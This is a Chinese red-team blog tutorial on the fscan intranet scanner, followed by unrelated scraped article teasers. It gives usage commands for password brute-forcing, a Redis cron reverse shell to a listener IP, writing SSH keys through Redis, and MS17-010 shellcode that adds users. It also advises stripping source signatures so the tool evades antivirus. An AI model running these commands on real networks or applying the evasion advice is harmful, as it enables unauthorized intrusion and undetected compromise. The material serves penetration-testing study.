北京外贸网站建设/百度seo优化服务
红队专题
- 招募六边形战士队员
- 简介
- 主要功能
- ubuntu 安装
- windows 安装
- 常用命令:
- 项目框架
- 源文件
- common目录
- Plugins目录
- Webscan目录
- 爆破插件
- common.Scantype
- Webtitle函数
- webpoc扫描类型
- 指纹识别
- 免杀
- 源码特征
- 参考链接
招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
简介
快捷、简单的安全漏洞扫描工具fscan
fscan是一款用go语言编写的开源工具,一款内网安全综合漏洞扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、
端口扫描、
常见服务的爆破、
ms17010、
redis 批量写公钥、
计划任务反弹 shell、
读取 win 网卡信息、
web 指纹识别、
web 漏洞扫描、
netbios 探测、
域控识别等功能
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
主要功能
1.信息搜集:
存活探测(icmp)
端口扫描
2.爆破功能:
各类服务爆破(ssh、smb等)
数据库密码爆破(mysql、mssql、redis、psql等)
3.系统信息、漏洞扫描:
netbios探测、域控识别
获取目标网卡信息
高危漏洞扫描(ms17010等)
4.Web探测功能:
webtitle探测
web指纹识别(常见cms、oa框架等)
web漏洞扫描(weblogic、st2等,支持xray的poc)
5.漏洞利用:
redis写公钥或写计划任务
ssh命令执行
6.其他功能:
文件保存
ubuntu 安装
git clone https://github.com/shadow1ng/fscan.git编译命令go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)
windows 安装
他们说fscan1.4及之前的版本是可以过360等杀软
项目地址:https://github.com/shadow1ng/fscan/releases
编译版本:go1.21.1.windows-amd64.msi
https://golang.google.cn/dl/
常用命令:
(默认使用全部模块)
fscan.exe -h 192.168.1.1/24 (C段扫描)
fscan.exe -h 192.168.1.1/16 (B段扫描)
fscan.exe -h 192.168.1.1/8 (A段扫描,192.x.x.1和192.x.x.254,方便快速查看网段信息 )其他:
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) Usage of fscan:-br intBrute threads (default 1)-c stringexec command (ssh) //ssh命令执行-cookie stringset poc cookie //设置cookie-debug intevery time to LogErr (default 60) //多久没响应,就打印当前进度-domain stringsmb domain //smb爆破模块时,设置域名-h stringIP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12-hf stringhost file, -hf ip.txt-hn stringthe hosts no scan,as: -hn 192.168.1.1/24 //扫描时,要跳过的ip: -hn 192.168.1.1/24-m stringSelect scan type ,as: -m ssh (default "all")-nonot to save output log //扫描结果不保存到文件中-nobrnot to Brute password //跳过sql、ftp、ssh等的密码爆破-nopocnot to scan web vul //跳过web poc扫描-npnot to ping //跳过存活探测-num intpoc rate (default 20) //web poc 发包速率-o stringOutputfile (default "result.txt") // 扫描结果保存到哪-p stringSelect a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")-pa stringadd port base DefaultPorts,-pa 3389 //新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)-path stringfcgi、smb romote file path-pingusing ping replace icmp-pn stringthe ports no scan,as: -pn 445 //扫描时要跳过的端口,as: -pn 445-pocname stringuse the pocs these contain pocname, -pocname weblogic //指定web poc的模糊名字, -pocname weblogic-pocpath stringpoc file path-portf stringPort File-proxy stringset poc proxy, -proxy http://127.0.0.1:8080 //设置代理, -proxy http://127.0.0.1:8080-pwd stringpassword //指定爆破时的密码-pwda stringadd a password base DefaultPasses,-pwda password //在原有密码字典基础上,增加新密码-pwdf stringpassword file //指定爆破时的密码文件-rf stringredis file to write sshkey file (as: -rf id_rsa.pub) //指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)-rs stringredis shell to write cron file (as: -rs 192.168.1.1:6666) //redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)-silentsilent scan // 静默扫描,适合cs扫描时不回显-sshkey stringsshkey file (id_rsa) //ssh连接时,指定ssh私钥-t intThread nums (default 600)-time intSet timeout (default 3) //端口扫描超时时间 (default 3)-top intshow live len top (default 10)-u stringurl-uf stringurlfile-user stringusername-usera stringadd a user base DefaultUsers,-usera user //在原有用户字典基础上,新增新用户-userf stringusername file-wt intSet web timeout (default 5) fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
其他用法fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息) fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令) fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控) go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息) go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)-c stringssh命令执行-cookie string设置cookie-debug int多久没响应,就打印当前进度(default 60)-domain stringsmb爆破模块时,设置域名-h string目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12-hf string读取文件中的目标-hn string扫描时,要跳过的ip: -hn 192.168.1.1/24-m string设置扫描模式: -m ssh (default "all")-no扫描结果不保存到文件中-nobr跳过sql、ftp、ssh等的密码爆破-nopoc跳过web poc扫描-np跳过存活探测-num intweb poc 发包速率 (default 20)-o string扫描结果保存到哪 (default "result.txt")-p string设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")-pa string新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)-path stringfcgi、smb romote file path-ping使用ping代替icmp进行存活探测-pn string扫描时要跳过的端口,as: -pn 445-pocname string指定web poc的模糊名字, -pocname weblogic-proxy string设置代理, -proxy http://127.0.0.1:8080-user string指定爆破时的用户名-userf string指定爆破时的用户名文件-pwd string指定爆破时的密码-pwdf string指定爆破时的密码文件-rf string指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)-rs stringredis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)-silent静默扫描,适合cs扫描时不回显-sshkey stringssh连接时,指定ssh私钥-t int扫描线程 (default 600)-time int端口扫描超时时间 (default 3)-u string指定Url扫描-uf string指定Url文件扫描-wt intweb访问超时时间 (default 5)-pocpath string指定poc路径-usera string在原有用户字典基础上,新增新用户-pwda string在原有密码字典基础上,增加新密码-socks5指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)-sc 指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
项目框架
源文件
common目录
config.go 配置文件可以用来修改字典和默认扫描端口
flag.go 用于命令行的选择比如-h -p 等
log.go 日志处理
Parse.go 对命令行选择进行处理
ParseIP.go 对输入ip进行处理
ParsePort.go 对输入端口进行处理
proxy.go 代理
Plugins目录
扫描时的功能插件
Webscan目录
rules.go这里时对指纹的处理
Lib目录 比较基础的操作
Pocs目录 放poc的地方
爆破插件
然后重点关注Addscan–>发现sacnfunc这个函数
从函数名也能大概猜到功能的用处
从代码结构也能判断出关键操作
·互斥锁
·添加扫描函数
·协程扫描过程
·执行并发任务
·释放资源
重点关注Pluginlist这个对象
这个对象通过map 进行映射
键(key)是字符串类型的端口号,值(value)是对应的扫描函数
common.Scantype
是一个表示扫描类型的字符串变量。它有以下几种取值:
“all”:对主机进行所有漏洞扫描;
“main”:对主机进行主要的漏洞扫描,包括 MS17-010、SMB、Web、WMI 等;
“ms17010”:只进行 MS17-010 的漏洞扫描;
“smb”:只进行 SMB 服务的漏洞扫描;
“webonly”:只进行 Web 服务的漏洞扫描;
“webpoc”:只进行基于 Web 的 PoC 验证;
“hostname”:只对 NetBIOS 主机名进行探测;
其他整数或字符串:只对指定端口号进行漏洞扫描。
Webtitle函数
发现大量原作者的模块shadow1ng—xxx
所以这里一定是查杀的重灾区
通过Gowebtitle函数我们可以跟踪到geturl函数
在外部是并发循环的,所以直接跟踪具体函数就OK
Info就是具体需要扫描的target实体
Geturl原作者ico探测部分是将部分header头是写死了的
可作为部分特征
这块在免杀的时候也确实验证了我的猜想
它是有一部分进入了特征库的
webpoc扫描类型
指纹识别
全局搜索 RuleDatas
转入InfoCheck
回到了 webtitle 函数
免杀
源码特征
原作者的github为shadow1ng
所以尽量避免出现原作者和红圈内的类库
项目内全局用别的方法替换掉
参考链接
通过阅读代码了解你所使用的工具 - 以 Fscan 为例 || 搭配视频
https://mp.weixin.qq.com/s/ht04295SJ0pCfJHwxccJLw
相关文章:

红队专题-工具Fscan
红队专题 招募六边形战士队员简介主要功能 ubuntu 安装windows 安装常用命令:项目框架源文件common目录Plugins目录Webscan目录爆破插件common.Scantype Webtitle函数webpoc扫描类型指纹识别 免杀源码特征 参考链接 招募六边形战士队员 一起学习 代码审计、安全开发…...

【宏实现二进制奇偶位交换】
文章目录 一. 二进制奇偶位交换说明意思?二. 解题思路三. 代码验证四. 总结 一. 二进制奇偶位交换说明意思? 就是一个int类型的整数在操作系统下是32位二进制01序列,第一位和第二位交换,第二位和第三位交换,依次类推。…...

【Java零基础入门到就业】第一天:java简介和cmd窗口的一些常见命令
1、java简介 Java是一种基于类的、面向对象的编程语言,它被设计成具有尽可能少的实现依赖。它旨在让应用程序开发人员编写一次,并在任何地方运行(WORA),这意味着编译后的Java代码可以在所有支持Java的平台上运行,而无需重新编译。…...

ubuntu下yolov5 tensorrt模型部署
文章目录 ubuntu下yolov5 tensorrt模型部署一、Ubuntu18.04环境配置1.1 安装工具链和opencv1.2 安装Nvidia相关库1.2.1 安装Nvidia显卡驱动1.2.2 安装 cuda11.31.2.3 安装 cudnn8.21.2.4 下载 tensorrt8.4.2.41.2.5 下载仓库TensorRT-Alpha并设置 二、从yolov5源码中导出onnx文…...

windows Vscode 连接 虚拟机,超详细,含免密免ip配置 以 linux 虚拟机为例
我们这里使用 ssh 进行连接,不了解 ssh 的也没关系,感兴趣的可以自己了解一下。 我的虚拟机是 Ubuntu20.04,如果出现与 Centos 不一样的操作可以自行替换。 (应该不会有??) 一 . 登录虚拟机~&a…...

【Unity】VR基础开发2项目准备-VR基本场景构建(OpenXR方向)
【文字内容】 稍等一会儿,编辑器界面就出现了。有可能你的界面布局会有所不同,可以在右上角点击布局,选择Tall,布局切换后在来到左边窗口的左上角,将Game选项卡拖放到下方Dock,这样就可以得到和我一样的布局了。 简单介绍一下。 场景面板是对游戏进行可视化编辑的地方…...

git checkout 命令
一、拉取更新某个分支中某个文件/文件夹 git checkout 分支名 文件路径 git checkout temporary src/components/tools/UserMenu.vue 二、回退某个文件到前一个提交 git checkout HEAD^ 文件路径 git checkout HEAD^ src/components/tools/UserMenu.vue 如果你要回退到…...

二.镜头知识之镜头总长,法兰距,安装接口
二.镜头知识之镜头总长,法兰距,安装接口 文章目录 二.镜头知识之镜头总长,法兰距,安装接口2.1 线激光模组镜头的FBL 与 TTL(Total Track Length) 镜头总长2.2 相机法兰距2.3 线激光模组镜头的TTL 以及 From Barrel bottom to imag…...

Android studio控制台 输出乱码解决方法
在AS的安装目录,找到 studio64.exe.vmoptions 文件, 用编辑器打开文件,在最后面加上下面的代码: -Defile.encodingUTF-8然后 重启AS。 注意: 下面两种方式也能打开studio64.exe.vmoptions 文件,但是需要确…...

Hermes - 指尖上的智慧:自定义问答系统的崭新世界
在希腊神话中,有一位智慧与消息的传递者神祇,他就是赫尔墨斯(Hermes)。赫尔墨斯是奥林匹斯众神中的一员,传说他是乌尔阿努斯(Uranus)和莫伊拉(Maia)的儿子,同…...

机器学习笔记 - 使用3D卷积神经网络进行视频分类
1、导入相应的库 3D CNN 使用三维滤波器来执行卷积。内核能够在三个方向上滑动,而在 2D CNN 中它可以在二维上滑动。 首先安装并导入必要的库,用于处理ZIP文件内容的Remotezip 、用于使用进度条的tqdm 、用于处理视频文件的OpenCV 、用于执行更复杂的张量操作的einop…...

在Unity中挂载C#脚本的三种方法
第一种 ①在Project(工程)窗口的某个文件夹中(也可以选择新建在Assets(资源根目录)中),然后单击鼠标右键,选择Create->C# Script 注意:扩展名在Unity编辑器中是隐藏…...

vue elementui的select组件实现滑到底部分页请求后端接口
vue elementui的select组件实现滑到底部分页请求后端接口 1.实现效果2.实现原理 1.实现效果 老规矩,直接上最后的实现效果 2.实现原理 直接上代码 <el-form-item class"diagmosisItem" label"诊断" v-scroll"handleScroll">…...

【Java 进阶篇】JavaScript电灯开关案例:从原理到实现
JavaScript是一门强大的编程语言,它可以用来创建各种交互式网页应用。在这篇博客中,我们将通过一个简单的电灯开关案例来深入了解JavaScript的基础概念,包括HTML、CSS和JavaScript的结合使用。我们将从头开始构建这个案例,逐步引入…...

并发、并行、同步、异步、阻塞、非阻塞
一、多核、多cpu (一)多核 Multicore 核是CPU最重要的部分。负责运算。核包括控制单元、运算单元、寄存器等单元。 多核就是指单个CPU中有多个核。 (二)多cpu Multiprocessor 多cpu就是一个系统拥有多个CPU。每个CPU可能有单个核…...

C语言:冒泡排序
C语言 基础开发----目录 冒泡排序 1. 原理 对一个有n个数据的数组进行遍历,依次对相邻两个数据进行比较大小,若大的数据在前面则交换位置(升序),完成一次遍历后数组中最大的数据到了数组的末尾位置,就象水…...

Android 内容提供者和内容观察者:数据共享和实时更新的完美组合
任务要求 一个作为ContentProvider提供联系人数据另一个作为Observer监听联系人数据的变化: 1、创建ContactProvider项目; 2、在ContactProvider项目中用Sqlite数据库实现联系人的读写功能; 3、在ContactProvider项目中通过ContentProvid…...

六、K8S之StatefulSet
StatefulSet 一、概念 和Deployment一样StatefulSet也是中一种可以帮助我们部署和扩展Pod的控制器,使用Deployment时多数时候不需要在意Pod的调度方式。如果需要关心Pod的部署顺序、对应持久化存储或者要求Pod拥有固定的网络标识时,就需要StatefulSet控…...

基于微服务+Java+Spring Cloud开发的建筑工地智慧平台源码 云平台多端项目源码
建筑工地智慧平台源码,施工管理端、项目监管端、数据大屏端、移动APP端全套源码 技术架构:微服务JavaSpring Cloud VueUniApp MySql自主版权实际应用案例演示 建筑工地智慧平台已应用于线上巡查、质量管理、实名制管理、危大工程管理、运渣车管理、绿色…...

微信小程序异常:navigateTo:fail can not navigateTo a tabbar page
场景还原 微信小程序利用路径wx.navigateTo跳转界面时发送异常 跳转代码 showDetail(e){// 获取图片绑定的ID编号let id e.currentTarget.dataset.id;// 指定编号查询 携带参数到详情界面 wx.navigateTo({url: /pages/details/details?id id,})}异常代码 WAServiceMain…...

智慧公厕高精尖技术揭秘,让卫生管理更智能、更舒适
随着科技的飞速发展,智慧公厕正逐渐走进人们的生活。借助物联网、互联网、云计算、大数据、人工智能、自动化控制等技术的应用,智慧公厕将卫生管理提升到一个全新的水平,为公众打造了清洁舒适的使用环境。本文以智慧公厕源头厂家广州中期科技…...

Spring Cloud的革新:服务网格和云原生整合
文章目录 介绍Spring Cloud服务网格的兴起Spring Cloud与Service Mesh的整合1. 服务发现2. 负载均衡3. 故障处理4. 安全性 云原生整合结论 🎉欢迎来到架构设计专栏~Spring Cloud的革新:服务网格和云原生整合 ☆* o(≧▽≦)o *☆嗨~我是IT陈寒ἷ…...

EfficientDet: Scalable and Efficient Object Detection
CVPR2020 V7 Mon, 27 Jul 2020 引用量:243 机构:Google 贡献:1>提出了多尺度融合网络BiFPN 2>对backbone、feature network、box/class prediction network and resolution进行复合放缩,有着不同的…...

【数据结构】二叉树链式存储及遍历
二叉树链式存储及遍历 文章目录 二叉树链式存储及遍历前言实现过程代码实现源代码总结 前言 本文章中的内容参考于王道数据结构考研书,如果你对该部分的内容的记忆有所模糊,可以阅读我的文章再加深印象 实现过程 1.定义二叉树结构体 2.初始化二叉树的根结…...

数字孪生技术:新零售的未来之路
随着科技的不断进步,新零售产业正经历着巨大的变革。数字孪生作为一种新兴技术正在加速这一变革的进程。它不仅为新零售企业带来了更高效的运营方式,还为消费者提供了更个性化、便捷的购物体验。那么,数字孪生技术究竟如何在新零售产业中发挥…...

NIO教程
一,概述 原本的java是基于同步阻塞式的i/o通信(bio) 性能低下,所以出现了nio这种非阻塞式的 二,Java 的I/O演进之路 2.1 i/o模型基本说明 i/o模型:就是用什么样的通道或者说通信模式和架构进行数据的传输和接收&am…...

【MySQL】表的内连和外连
文章目录 一. 内连接二. 外连接1. 左外连接2. 右外连接 一. 内连接 利用where子句对两种表形成的笛卡尔积进行筛选,其实就是内连接的一种方式 另一种方式是inner join select 字段 from 表1 inner join 表2 on 连接条件 and 其他条件现在有如下表 mysql> desc…...

文心一言:文心大模型 4.0 即将发布
本心、输入输出、结果 文章目录 文心一言:文心大模型 4.0 即将发布前言文心 4.0 的成本问题架构文心 4.0 是否可以对标 GPT-4文心4.0 会不会收费弘扬爱国精神文心一言:文心大模型 4.0 即将发布 编辑:简简单单 Online zuozuo 地址:https://blog.csdn.net/qq_15071263 前言 …...

HTML笔记
注释标签:<!-- --> 标题标签:(作用范围依次递减) <h1></h1> <h2></h2> <h3></h3> <h4></h4> <h5></h5> <h6></h6> 段落标签:<p&g…...

design compiler中的drc规则详解
design compiler中的drc规则详解 DRC是什么?DRC分类各个DRC的含义写在最后 DRC是什么? 本文讨论的DRC即是Design Rule Constraint,而不是Design Rule Check,后者是物理端或者后端的一个关键步骤。 DRC分类 DRC为DC中的一个约束大类&#x…...